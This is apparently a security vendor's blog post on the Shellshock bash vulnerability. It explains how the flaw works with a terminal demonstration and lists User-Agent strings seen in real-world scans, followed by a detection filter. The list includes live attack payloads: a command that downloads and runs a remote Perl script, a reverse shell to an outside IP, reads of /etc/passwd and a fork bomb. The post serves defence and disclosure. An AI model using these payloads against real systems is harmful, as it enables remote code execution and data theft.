By Dr. Hugh Thompson Program Committee Chairman of RSA Conference, Senior VP and Chief Security Strategist of Blue Coat Systems
Since the announcement of the CVE-2014-6271 bash bug, we’ve seen attackers waste no time before scanning the Internet. The announcement was posted to bugzilla.redhat.com at 2014-09-24T14:00:08+00:00 and at 2014-09-24T18:32:008+00:00, 4 ½ hours later, we started seeing scans looking for the vulnerability.
If you haven’t had a chance to read the details yet or have been away for the last 24 hours I’ll give a quick run-down. In essence, the vulnerability exists in the way bash evaluates variables. If a variable begins with “() {“ then contents of the variable are evaluated by a shell parser prior to being passed to the bash command line. For example, if I set the variable var to ‘echo boo’ and then try and pass that to a command shell nothing happens.
plum@Hall:~$ export var=’echo boo’
plum@Hall:~$ bash -c ‘var’
bash: var: command not found
plum@Hall:~$
But if I add “() {:;};” in front something magical happens.
plum@Hall:~$ export var='() { :;}; echo boo’
plum@Hall:~$ bash -c ‘var’
boo
plum@Hall:~$
The contents of my variable were executed on the command line! One place where this becomes a huge issue is in the case of web applications. $HTTP_USER_AGENT is one such variable that is automatically set when using CGI and PHP. An attacker can spoof that parameter and if that variable ever crosses paths with the shell bad things can happen.
Here are just a few examples of User-Agents we have seen scanning for this vulnerability:
() { :;}; /bin/ping -c 1 198.101.206.138
() { :;}; echo; echo vulnerable to CVE-2014-6271
() { :; }; :(){ :|: & };:
() { touch /tmp/coco; };
() { :;}; echo; /usr/bin/id;
() { :;}; /bin/sleep 0
() { :;}; echo aa>/tmp/aa
() { :;}; /bin/bash -c ‘cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur’
() { :;}; /usr/bin/telnet 67.229.128.88 21
() { :;}; echo ‘Warning: Server Vulnerable’
() { :;}; #{/usr/bin/ping -c 1 192.71.20.2}
() { test;};/usr/bin/touch /tmp/VULNERABLE
() { :; }; echo ; echo qwerty
() { :;}; /bin/ping -c 1 192.71.20.2
() { :; }; ping -c 11 209.126.230.74
() { :;}; wget http://shellshock.brandonpotter.com/report/WWOJ2KWSVKOWF40WXBND74/User-Agent
() { :;}; echo ‘BashSmash:
() { :;}; echo OHAI
() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
() { :; }; /bin/cat /etc/passwd > dumped_file
() { :; }; echo -e ‘Content-Type: text/plain\n’; echo qQQQQQq
() { :; }; /bin/bash -i > /dev/tcp/176.31.93.197/8081 0>&1
Additionally, we’ve also started seeing DDOS botnets trying to utilize this in their attacks. For a little while I’d expect to see an ever-increasing amount of web traffic targeting this vulnerability.
Because this bug exists in the /bin/bash parser it could present its ugly head in any number of fields accepted from a client. User Agent, referrer, URL variables, cookies, and any other header fields are all possibilities. It all depends on server configurations and if any of those fields are passed as a variable on the command line. As more common web frameworks are analysed I would suspect more targeted attacks to be forthcoming. There are already findings suggesting that other sevices may be affected by this too.
There is already a patch out for the nasty bug and if you have automatic updates configured there is a good chance it may already be installed. However, I wouldn’t bet your server on it so it would be best to double check.
Using the Security Analytics Appliance we can easily detect these attacks. Simply create a filter looking for the “() {}” pattern in HTTP requests to start tracking the attempts as shown below.
{“Shell Shock User-Agent attempt”:[“user_agent=*(*)*{*}*”]}
This would also be a good time to evaluate your web applications and determine just what is being thrown across the command line. Calls to popen(), system(), Runtime.getRuntime().exec() or the equivalent all expose the vulnerability.
